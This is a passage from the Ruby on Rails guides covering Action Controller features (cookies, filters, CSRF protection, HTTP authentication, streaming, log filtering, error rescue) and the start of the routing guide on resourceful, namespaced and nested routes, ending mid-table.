The default serializer for new applications is :json. For compatibility with old applications with existing cookies, :marshal is used when serializer option is not specified.

You may also set this option to :hybrid, in which case Rails would transparently deserialize existing (Marshal-serialized) cookies on read and re-write them in the JSON format. This is useful for migrating existing applications to the :json serializer.

It is also possible to pass a custom serializer that responds to load and dump:

  Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer

When using the :json or :hybrid serializer, you should beware that not all Ruby objects can be serialized as JSON. For example, Date and Time objects will be serialized as strings, and Hashes will have their keys stringified.

  class CookiesController < ApplicationController
  def set_cookie
    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
    redirect_to action: 'read_cookie'
  end

  def read_cookie
    cookies.encrypted[:expiration_date] # => "2014-03-20"
  end
end

It's advisable that you only store simple data (strings and numbers) in cookies. If you have to store complex objects, you would need to handle the conversion manually when reading the values on subsequent requests.

If you use the cookie session store, this would apply to the session and flash hash as well.

7 Rendering XML and JSON Data

ActionController makes it extremely easy to render XML or JSON data. If you've generated a controller using scaffolding, it would look something like this:

  class UsersController < ApplicationController
  def index
    @users = User.all
    respond_to do |format|
      format.html # index.html.erb
      format.xml  { render xml: @users }
      format.json { render json: @users }
    end
  end
end

You may notice in the above code that we're using render xml: @users, not render xml: @users.to_xml. If the object is not a String, then Rails will automatically invoke to_xml for us.

8 Filters

Filters are methods that are run "before", "after" or "around" a controller action.

Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application.

"before" filters are registered via before_action. They may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:

  class ApplicationController < ActionController::Base
  before_action :require_login

  private
    def require_login
      unless logged_in?
        flash[:error] = "You must be logged in to access this section"
        redirect_to new_login_url # halts request cycle
      end
    end
end

The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.

In this example, the filter is added to ApplicationController and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with skip_before_action:

  class LoginsController < ApplicationController
  skip_before_action :require_login, only: [:new, :create]
end

Now, the LoginsController's new and create actions will work as before without requiring the user to be logged in. The :only option is used to skip this filter only for these actions, and there is also an :except option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.

Calling the same filter multiple times with different options will not work, since the last filter definition will overwrite the previous ones.

8.1 After Filters and Around Filters

In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.

"after" filters are registered via after_action. They are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running. Please note that "after" filters are executed only after a successful action, but not when an exception is raised in the request cycle.

"around" filters are registered via around_action. They are responsible for running their associated actions by yielding, similar to how Rack middlewares work.

For example, in a website where changes have an approval workflow, an administrator could preview them easily by applying them within a transaction:

  class ChangesController < ApplicationController
  around_action :wrap_in_transaction, only: :show

  private
    def wrap_in_transaction
      ActiveRecord::Base.transaction do
        begin
          yield
        ensure
          raise ActiveRecord::Rollback
        end
      end
    end
end

Note that an "around" filter also wraps rendering. In particular, in the example above, if the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.

You can choose not to yield and build the response yourself, in which case the action will not be run.

8.2 Other Ways to Use Filters

While the most common way to use filters is by creating private methods and using before_action, after_action, or around_action to add them, there are two other ways to do the same thing.

The first is to use a block directly with the *_action methods. The block receives the controller as an argument. The require_login filter from above could be rewritten to use a block:

  class ApplicationController < ActionController::Base
  before_action do |controller|
    unless controller.send(:logged_in?)
      flash[:error] = "You must be logged in to access this section"
      redirect_to new_login_url
    end
  end
end

Note that the filter, in this case, uses send because the logged_in? method is private, and the filter does not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in simpler cases, it might be useful.

Specifically for around_action, the block also yields in the action:

  around_action { |_controller, action| time(&action) }

The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:

  class ApplicationController < ActionController::Base
  before_action LoginFilter
end

class LoginFilter
  def self.before(controller)
    unless controller.send(:logged_in?)
      controller.flash[:error] = "You must be logged in to access this section"
      controller.redirect_to controller.new_login_url
    end
  end
end

Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the before_action filter, the class must implement a before method, and so on. The around method must yield to execute the action.

9 Request Forgery Protection

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying, or deleting data on that site without the user's knowledge or permission.

The first step to avoid this is to make sure all "destructive" actions (create, update, and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.

The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

If you generate a form like this:

  <%= form_with model: @user do |form| %>
  <%= form.text_field :username %>
  <%= form.text_field :password %>
<% end %>

You will see how the token gets added as a hidden field:

  <form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
       value="67250ab105eb5ad10851c00a5621854a23af5489"
       name="authenticity_token"/>
<!-- fields -->
</form>

Rails adds this token to every form that's generated using the form helpers, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method form_authenticity_token:

The form_authenticity_token generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.

The Security Guide has more about this, and a lot of other security-related issues that you should be aware of when developing a web application.

10 The Request and Response Objects

In every controller, there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of ActionDispatch::Request and the response method returns a response object representing what is going to be sent back to the client.

10.1 The request Object

The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the Rails API documentation and Rack Documentation. Among the properties that you can access on this object are:

Property of request | Purpose
host | The hostname used for this request.
domain(n=2) | The hostname's first n segments, starting from the right (the TLD).
format | The content type requested by the client.
method | The HTTP method used for the request.
get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.
headers | Returns a hash containing the headers associated with the request.
port | The port number (integer) used for the request.
protocol | Returns a string containing the protocol used plus "://", for example "http://".
query_string | The query string part of the URL, i.e., everything after "?".
remote_ip | The IP address of the client.
url | The entire URL used for the request.

10.1.1 path_parameters, query_parameters, and request_parameters

Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string, or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

10.2 The response Object

The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values. To get a full list of the available methods, refer to the Rails API documentation and Rack Documentation.

Property of response | Purpose
body | This is the string of data being sent back to the client. This is most often HTML.
status | The HTTP status code for the response, like 200 for a successful request or 404 for file not found.
location | The URL the client is being redirected to, if any.
content_type | The content type of the response.
charset | The character set being used for the response. Default is "utf-8".
headers | Headers used for the response.

10.2.1 Setting Custom Headers

If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to response.headers this way:

  response.headers["Content-Type"] = "application/pdf"

In the above case it would make more sense to use the content_type setter directly.

11 HTTP Authentications

Rails comes with three built-in HTTP authentication mechanisms:

Basic Authentication

Digest Authentication

Token Authentication

11.1 HTTP Basic Authentication

HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username, and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, http_basic_authenticate_with.

  class AdminsController < ApplicationController
  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
end

With this in place, you can create namespaced controllers that inherit from AdminsController. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.

11.2 HTTP Digest Authentication

HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, authenticate_or_request_with_http_digest.

  class AdminsController < ApplicationController
  USERS = { "lifo" => "world" }

  before_action :authenticate

  private
    def authenticate
      authenticate_or_request_with_http_digest do |username|
        USERS[username]
      end
    end
end

As seen in the example above, the authenticate_or_request_with_http_digest block takes only one argument - the username. And the block returns the password. Returning false or nil from the authenticate_or_request_with_http_digest will cause authentication failure.

11.3 HTTP Token Authentication

HTTP token authentication is a scheme to enable the usage of Bearer tokens in the HTTP Authorization header. There are many token formats available and describing them is outside the scope of this document.

As an example, suppose you want to use an authentication token that has been issued in advance to perform authentication and access. Implementing token authentication with Rails is quite easy and only requires using one method, authenticate_or_request_with_http_token.

  class PostsController < ApplicationController
  TOKEN = "secret"

  before_action :authenticate

  private
    def authenticate
      authenticate_or_request_with_http_token do |token, options|
        ActiveSupport::SecurityUtils.secure_compare(token, TOKEN)
      end
    end
end

As seen in the example above, the authenticate_or_request_with_http_token block takes two arguments - the token and a Hash containing the options that were parsed from the HTTP Authorization header. The block should return true if the authentication is successful. Returning false or nil on it will cause an authentication failure.

12 Streaming and File Downloads

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, which will both stream data to the client. send_file is a convenience method that lets you provide the name of a file on the disk, and it will stream the contents of that file for you.

To stream data to the client, use send_data:

  require "prawn"
class ClientsController < ApplicationController
  # Generates a PDF document with information on the client and
  # returns it. The user will get the PDF as a file download.
  def download_pdf
    client = Client.find(params[:id])
    send_data generate_pdf(client),
              filename: "#{client.name}.pdf",
              type: "application/pdf"
  end

  private
    def generate_pdf(client)
      Prawn::Document.new do
        text client.name, align: :center
        text "Address: #{client.address}"
        text "Email: #{client.email}"
      end.render
    end
end

The download_pdf action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download, and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the :disposition option to "inline". The opposite and default value for this option is "attachment".

12.1 Sending Files

If you want to send a file that already exists on disk, use the send_file method.

  class ClientsController < ApplicationController
  # Stream a file that has already been generated and stored on disk.
  def download_pdf
    client = Client.find(params[:id])
    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
              filename: "#{client.name}.pdf",
              type: "application/pdf")
  end
end

This will read and stream the file 4 kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.

If :type is not specified, it will be guessed from the file extension specified in :filename. If the content-type is not registered for the extension, application/octet-stream will be used.

Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.

It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.

12.2 RESTful Downloads

While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:

  class ClientsController < ApplicationController
  # The user can request to receive this resource as HTML or PDF.
  def show
    @client = Client.find(params[:id])

    respond_to do |format|
      format.html
      format.pdf { render pdf: generate_pdf(@client) }
    end
  end
end

For this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:

  Mime::Type.register "application/pdf", :pdf

Configuration files are not reloaded on each request, so you have to restart the server for their changes to take effect.

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

  GET /clients/1.pdf

12.3 Live Streaming of Arbitrary Data

Rails allows you to stream more than just files. In fact, you can stream anything you would like in a response object. The ActionController::Live module allows you to create a persistent connection with a browser. Using this module, you will be able to send arbitrary data to the browser at specific points in time.

12.3.1 Incorporating Live Streaming

Including ActionController::Live inside of your controller class will provide all actions inside the controller the ability to stream data. You can mix in the module like so:

  class MyController < ActionController::Base
  include ActionController::Live

  def stream
    response.headers['Content-Type'] = 'text/event-stream'
    100.times {
      response.stream.write "hello world\n"
      sleep 1
    }
  ensure
    response.stream.close
  end
end

The above code will keep a persistent connection with the browser and send 100 messages of "hello world\n", each one second apart.

There are a couple of things to notice in the above example. We need to make sure to close the response stream. Forgetting to close the stream will leave the socket open forever. We also have to set the content type to text/event-stream before we write to the response stream. This is because headers cannot be written after the response has been committed (when response.committed? returns a truthy value), which occurs when you write or commit the response stream.

12.3.2 Example Usage

Let's suppose that you were making a Karaoke machine, and a user wants to get the lyrics for a particular song. Each Song has a particular number of lines and each line takes time num_beats to finish singing.

If we wanted to return the lyrics in Karaoke fashion (only sending the line when the singer has finished the previous line), then we could use ActionController::Live as follows:

  class LyricsController < ActionController::Base
  include ActionController::Live

  def show
    response.headers['Content-Type'] = 'text/event-stream'
    song = Song.find(params[:id])

    song.each do |line|
      response.stream.write line.lyrics
      sleep line.num_beats
    end
  ensure
    response.stream.close
  end
end

The above code sends the next line only after the singer has completed the previous line.

12.3.3 Streaming Considerations

Streaming arbitrary data is an extremely powerful tool. As shown in the previous examples, you can choose when and what to send across a response stream. However, you should also note the following things:

Each response stream creates a new thread and copies over the thread local variables from the original thread. Having too many thread local variables can negatively impact performance. Similarly, a large number of threads can also hinder performance.

Failing to close the response stream will leave the corresponding socket open forever. Make sure to call close whenever you are using a response stream.

WEBrick servers buffer all responses, and so including ActionController::Live will not work. You must use a web server which does not automatically buffer responses.

13 Log Filtering

Rails keeps a log file for each environment in the log folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.

13.1 Parameters Filtering

You can filter out sensitive request parameters from your log files by appending them to config.filter_parameters in the application configuration. These parameters will be marked [FILTERED] in the log.

  config.filter_parameters << :password

Provided parameters will be filtered out by partial matching regular expression. Rails adds a list of default filters, including :passw, :secret, and :token, in the appropriate initializer (initializers/filter_parameter_logging.rb) to handle typical application parameters like password, password_confirmation and my_token.

13.2 Redirects Filtering

Sometimes it's desirable to filter out from log files some sensitive locations your application is redirecting to. You can do that by using the config.filter_redirect configuration option:

  config.filter_redirect << 's3.amazonaws.com'

You can set it to a String, a Regexp, or an array of both.

  config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]

Matching URLs will be marked as '[FILTERED]'.

14 Rescue

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception.

Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed, so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error, or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:

14.1 The Default 500 and 404 Templates

By default, in the production environment the application will render either a 404, or a 500 error message. In the development environment all unhandled exceptions are simply raised. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and style, but remember that they are static HTML; i.e. you can't use ERB, SCSS, CoffeeScript, or layouts for them.

14.2 rescue_from

If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.

When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.

Here's how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.

  class ApplicationController < ActionController::Base
  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found

  private
    def record_not_found
      render plain: "404 Not Found", status: 404
    end
end

Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:

  class ApplicationController < ActionController::Base
  rescue_from User::NotAuthorized, with: :user_not_authorized

  private
    def user_not_authorized
      flash[:error] = "You don't have access to this section."
      redirect_back(fallback_location: root_path)
    end
end

class ClientsController < ApplicationController
  # Check that the user has the right authorization to access clients.
  before_action :check_authorization

  # Note how the actions don't have to worry about all the auth stuff.
  def edit
    @client = Client.find(params[:id])
  end

  private
    # If the user is not authorized, just throw the exception.
    def check_authorization
      raise User::NotAuthorized unless current_user.admin?
    end
end

Using rescue_from with Exception or StandardError would cause serious side-effects as it prevents Rails from handling exceptions properly. As such, it is not recommended to do so unless there is a strong reason.

When running in the production environment, all ActiveRecord::RecordNotFound errors render the 404 error page. Unless you need a custom behavior you don't need to handle this.

Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized, and the action gets executed.

15 Force HTTPS Protocol

If you'd like to ensure that communication to your controller is only possible via HTTPS, you should do so by enabling the ActionDispatch::SSL middleware via config.force_ssl in your environment configuration.

Rails Routing from the Outside In

This guide covers the user-facing features of Rails routing.

After reading this guide, you will know:

How to interpret the code in config/routes.rb.

How to construct your own routes, using either the preferred resourceful style or the match method.

How to declare route parameters, which are passed onto controller actions.

How to automatically create paths and URLs using route helpers.

Advanced techniques such as creating constraints and mounting Rack endpoints.

Chapters

The Purpose of the Rails Router

Connecting URLs to Code

Generating Paths and URLs from Code

Configuring the Rails Router

Resource Routing: the Rails Default

Resources on the Web

CRUD, Verbs, and Actions

Path and URL Helpers

Defining Multiple Resources at the Same Time

Singular Resources

Controller Namespaces and Routing

Nested Resources

Routing Concerns

Creating Paths and URLs from Objects

Adding More RESTful Actions

Non-Resourceful Routes

Bound Parameters

Dynamic Segments

Static Segments

The Query String

Defining Defaults

Naming Routes

HTTP Verb Constraints

Segment Constraints

Request-Based Constraints

Advanced Constraints

Route Globbing and Wildcard Segments

Redirection

Routing to Rack Applications

Using root

Unicode Character Routes

Direct Routes

Using resolve

Customizing Resourceful Routes

Specifying a Controller to Use

Specifying Constraints

Overriding the Named Route Helpers

Overriding the new and edit Segments

Prefixing the Named Route Helpers

Restricting the Routes Created

Translated Paths

Overriding the Singular Form

Using :as in Nested Resources

Overriding Named Route Parameters

Breaking Up Very Large Route File into Multiple Small Ones

Don't Use This Feature Unless You Really Need It

Inspecting and Testing Routes

Listing Existing Routes

Testing Routes

1 The Purpose of the Rails Router

The Rails router recognizes URLs and dispatches them to a controller's action, or to a Rack application. It can also generate paths and URLs, avoiding the need to hardcode strings in your views.

1.1 Connecting URLs to Code

When your Rails application receives an incoming request for:

  GET /patients/17

it asks the router to match it to a controller action. If the first matching route is:

  get '/patients/:id', to: 'patients#show'

the request is dispatched to the patients controller's show action with { id: '17' } in params.

Rails uses snake_case for controller names here, if you have a multiple word controller like MonsterTrucksController, you want to use monster_trucks#show for example.

1.2 Generating Paths and URLs from Code

You can also generate paths and URLs. If the route above is modified to be:

  get '/patients/:id', to: 'patients#show', as: 'patient'

and your application contains this code in the controller:

  @patient = Patient.find(params[:id])

and this in the corresponding view:

  <%= link_to 'Patient Record', patient_path(@patient) %>

then the router will generate the path /patients/17. This reduces the brittleness of your view and makes your code easier to understand. Note that the id does not need to be specified in the route helper.

1.3 Configuring the Rails Router

The routes for your application or engine live in the file config/routes.rb and typically looks like this:

  Rails.application.routes.draw do
  resources :brands, only: [:index, :show] do
    resources :products, only: [:index, :show]
  end

  resource :basket, only: [:show, :update, :destroy]

  resolve("Basket") { route_for(:basket) }
end

Since this is a regular Ruby source file you can use all of its features to help you define your routes but be careful with variable names as they can clash with the DSL methods of the router.

The Rails.application.routes.draw do ... end block that wraps your route definitions is required to establish the scope for the router DSL and must not be deleted.

2 Resource Routing: the Rails Default

Resource routing allows you to quickly declare all of the common routes for a given resourceful controller. A single call to resources can declare all of the necessary routes for your index, show, new, edit, create, update, and destroy actions.

2.1 Resources on the Web

Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as GET, POST, PATCH, PUT, and DELETE. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.

When your Rails application receives an incoming request for:

  DELETE /photos/17

it asks the router to map it to a controller action. If the first matching route is:

  resources :photos

Rails would dispatch that request to the destroy action on the photos controller with { id: '17' } in params.

2.2 CRUD, Verbs, and Actions

In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to a specific CRUD operation in a database. A single entry in the routing file, such as:

  resources :photos

creates seven different routes in your application, all mapping to the Photos controller:

HTTP Verb | Path | Controller#Action | Used for
GET | /photos | photos#index | display a list of all photos
GET | /photos/new | photos#new | return an HTML form for creating a new photo
POST | /photos | photos#create | create a new photo
GET | /photos/:id | photos#show | display a specific photo
GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo
PATCH/PUT | /photos/:id | photos#update | update a specific photo
DELETE | /photos/:id | photos#destroy | delete a specific photo

Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.

Rails routes are matched in the order they are specified, so if you have a resources :photos above a get 'photos/poll' the show action's route for the resources line will be matched before the get line. To fix this, move the get line above the resources line so that it is matched first.

2.3 Path and URL Helpers

Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of resources :photos:

photos_path returns /photos

new_photo_path returns /photos/new

edit_photo_path(:id) returns /photos/:id/edit (for instance, edit_photo_path(10) returns /photos/10/edit)

photo_path(:id) returns /photos/:id (for instance, photo_path(10) returns /photos/10)

Each of these helpers has a corresponding _url helper (such as photos_url) which returns the same path prefixed with the current host, port, and path prefix.

To find the route helper names for your routes, see Listing existing routes below.

2.4 Defining Multiple Resources at the Same Time

If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to resources:

  resources :photos, :books, :videos

This works exactly the same as:

  resources :photos
resources :books
resources :videos

2.5 Singular Resources

Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like /profile to always show the profile of the currently logged in user. In this case, you can use a singular resource to map /profile (rather than /profile/:id) to the show action:

  get 'profile', to: 'users#show'

Passing a String to to: will expect a controller#action format. When using a Symbol, the to: option should be replaced with action:. When using a String without a #, the to: option should be replaced with controller::

  get 'profile', action: :show, controller: 'users'

This resourceful route:

  resource :geocoder
resolve('Geocoder') { [:geocoder] }

creates six different routes in your application, all mapping to the Geocoders controller:

HTTP Verb | Path | Controller#Action | Used for
GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder
POST | /geocoder | geocoders#create | create the new geocoder
GET | /geocoder | geocoders#show | display the one and only geocoder resource
GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder
PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource
DELETE | /geocoder | geocoders#destroy | delete the geocoder resource

Because you might want to use the same controller for a singular route (/account) and a plural route (/accounts/45), singular resources map to plural controllers. So that, for example, resource :photo and resources :photos creates both singular and plural routes that map to the same controller (PhotosController).

A singular resourceful route generates these helpers:

new_geocoder_path returns /geocoder/new

edit_geocoder_path returns /geocoder/edit

geocoder_path returns /geocoder

The call to resolve is necessary for converting instances of the Geocoder to routes through record identification.

As with plural resources, the same helpers ending in _url will also include the host, port, and path prefix.

2.6 Controller Namespaces and Routing

You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an Admin:: namespace, and place these controllers under the app/controllers/admin directory. You can route to such a group by using a namespace block:

  namespace :admin do
  resources :articles, :comments
end

This will create a number of routes for each of the articles and comments controller. For Admin::ArticlesController, Rails will create:

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /admin/articles | admin/articles#index | admin_articles_path
GET | /admin/articles/new | admin/articles#new | new_admin_article_path
POST | /admin/articles | admin/articles#create | admin_articles_path
GET | /admin/articles/:id | admin/articles#show | admin_article_path(:id)
GET | /admin/articles/:id/edit | admin/articles#edit | edit_admin_article_path(:id)
PATCH/PUT | /admin/articles/:id | admin/articles#update | admin_article_path(:id)
DELETE | /admin/articles/:id | admin/articles#destroy | admin_article_path(:id)

If instead you want to route /articles (without the prefix /admin) to Admin::ArticlesController, you can specify the module with a scope block:

  scope module: 'admin' do
  resources :articles, :comments
end

This can also be done for a single route:

  resources :articles, module: 'admin'

If instead you want to route /admin/articles to ArticlesController (without the Admin:: module prefix), you can specify the path with a scope block:

  scope '/admin' do
  resources :articles, :comments
end

This can also be done for a single route:

  resources :articles, path: '/admin/articles'

In both of these cases, the named route helpers remain the same as if you did not use scope. In the last case, the following paths map to ArticlesController:

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /admin/articles | articles#index | articles_path
GET | /admin/articles/new | articles#new | new_article_path
POST | /admin/articles | articles#create | articles_path
GET | /admin/articles/:id | articles#show | article_path(:id)
GET | /admin/articles/:id/edit | articles#edit | edit_article_path(:id)
PATCH/PUT | /admin/articles/:id | articles#update | article_path(:id)
DELETE | /admin/articles/:id | articles#destroy | article_path(:id)

If you need to use a different controller namespace inside a namespace block you can specify an absolute controller path, e.g: get '/foo', to: '/foo#index'.

2.7 Nested Resources

It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:

  class Magazine < ApplicationRecord
  has_many :ads
end

class Ad < ApplicationRecord
  belongs_to :magazine
end

Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:

  resources :magazines do
  resources :ads
end

In addition to the routes for magazines, this declaration will also route ads to an AdsController. The ad URLs require a magazine:

HTTP Verb | Path | Controller#Action | Used for
GET | /magazines/:magazine_id/ads | ads#index | display a list of all ads for a specific magazine
GET | /magazines/:magazine_id/ads/new | ads#new | return an HTML form for creating a new ad belonging to a specific magazine
POST | /magazines/:magazine_id/ads | ads#create | create a new ad belonging to a specific magazine
GET | /magazines/:magazine_id/ads/:id | ads#show | display a specific ad belonging to a specific magazine
GET | /magazines/:magazine_id/ads/:id/edit | ads#edit | return an HTML form for editing an ad belonging to a specific magazine
PATCH/PUT | /magazines/:magazine_id/ads/:id | ads#update | update a specific ad belonging to a specific magazine
DELETE | /magazines/:magazine_id/ads/:id | ads#destroy | delete a specific ad belonging to a specific magazine

This will also create routing helpers such as magazine_ads_url and edit_magazine_ad_path. These helpers take an instance of Magazine as the first parameter (magazine_ads_url(@magazine)).

2.7.1 Limits to Nesting

You can nest resources within other nested resources if you like. For example:

  resources :publishers do
  resources :magazines do
    resources :photos
  end
end

Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:

  /publishers/1/magazines/2/photos/3

The corresponding route helper would be publisher_magazine_photo_url, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular article by Jamis Buck proposes a rule of thumb for good Rails design:

Resources should never be nested more than 1 level deep.

2.7.2 Shallow Nesting

One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:

  resources :articles do
  resources :comments, only: [:index, :new, :create]
end
resources :comments, only: [:show, :edit, :update, :destroy]

This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the :shallow option:

  resources :articles do
  resources :comments, shallow: true
end

This will generate the exact same routes as the first example. You can also specify the :shallow option in the parent resource, in which case all of the nested resources will be shallow:

  resources :articles, shallow: true do
  resources :comments
  resources :quotes
  resources :drafts
end

The articles resource here will have the following routes generated for it:

HTTP Verb | Path | Controller#Action | Named Route Helper
GET | /articles/:article_id/comments(.:format) | comments#index | article_comments_path
POST | /articles/:article_id/comments(.:format) | comments#create | article_comments_path
GET | /articles/:article_id/comments/new(.:format) | comments#new | new_article_comment_path
GET | /comments/:id/edit(.:format) | comments#edit | edit_comment_path
GET | /comments/:id(.:format) | comments#show | comment_path
PATCH/PUT | /comments/:id(.:format) | comments#update | comment_path
DELETE | /comments/:id(.:format) | comments#destroy | comment_path
GET | /articles/:article_id/quotes(.:format) | quotes#index | article_quotes_path
POST | /articles/:article_id/quotes(.:format) | quotes#create | article_quotes_path
GET | /articles/:article_id/quotes/new(.:format) | quotes#new | new_article_quote_path
GET | /quotes/:id/edit(.:format) | quotes#edit | edit_quote_path
GET | /quotes/:id(.:format) | quotes#show | quote_path
PATCH/PUT | /quotes/:id(.:format) | quotes#update | quote_path
DELETE | /quotes/:id(.:format) | quotes#destroy | quote_path
GET | /articles/:article_id/drafts(.:format) | drafts#index | article_drafts_path
POST | /articles/:article_id/drafts(.:format) | drafts#create | article_drafts_path
GET | /articles/:article_id/drafts/new(.:format) | drafts#new | new_article_draft_path
GET | /drafts/:id/edit(.:format) | drafts#edit | edit_draft_path
GET | /drafts/:id(.:format) | drafts#show | draft_path
PATCH/PUT | /drafts/:id(.:format) | drafts#update | draft_path
DELETE | /drafts/:id(.:format) | drafts#destroy | draft_path
GET | /articles(.:format) | articles#index | articles_path
POST | /articles(.:format) | articles#create | articles_path
GET | /articles/new(.:format) | articles#new | new_article_path
GET | /articles/:id/edit(.:format) | articles#edit | edit_article_path
GET | /articles/:id(.:format) | articles#show | article_path
PATCH/PUT | /articles/:id(.:format) | articles#update | article_path
DELETE | /articles/:id(.:format) | articles#destroy | article_path

The shallow method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:

  shallow do
  resources :articles do
    resources :comments
    resources :quotes
    resources :drafts
  end
end

There exist two options for scope to customize shallow routes. :shallow_path prefixes member paths with the specified parameter:

  scope shallow_path: "sekret" do
  resources :articles do
    resources :comments, shallow: true
  end
end

The comments resource here will have the following routes generated for it:

HTTP Verb | Path | Controller#Action | Named Route Helper
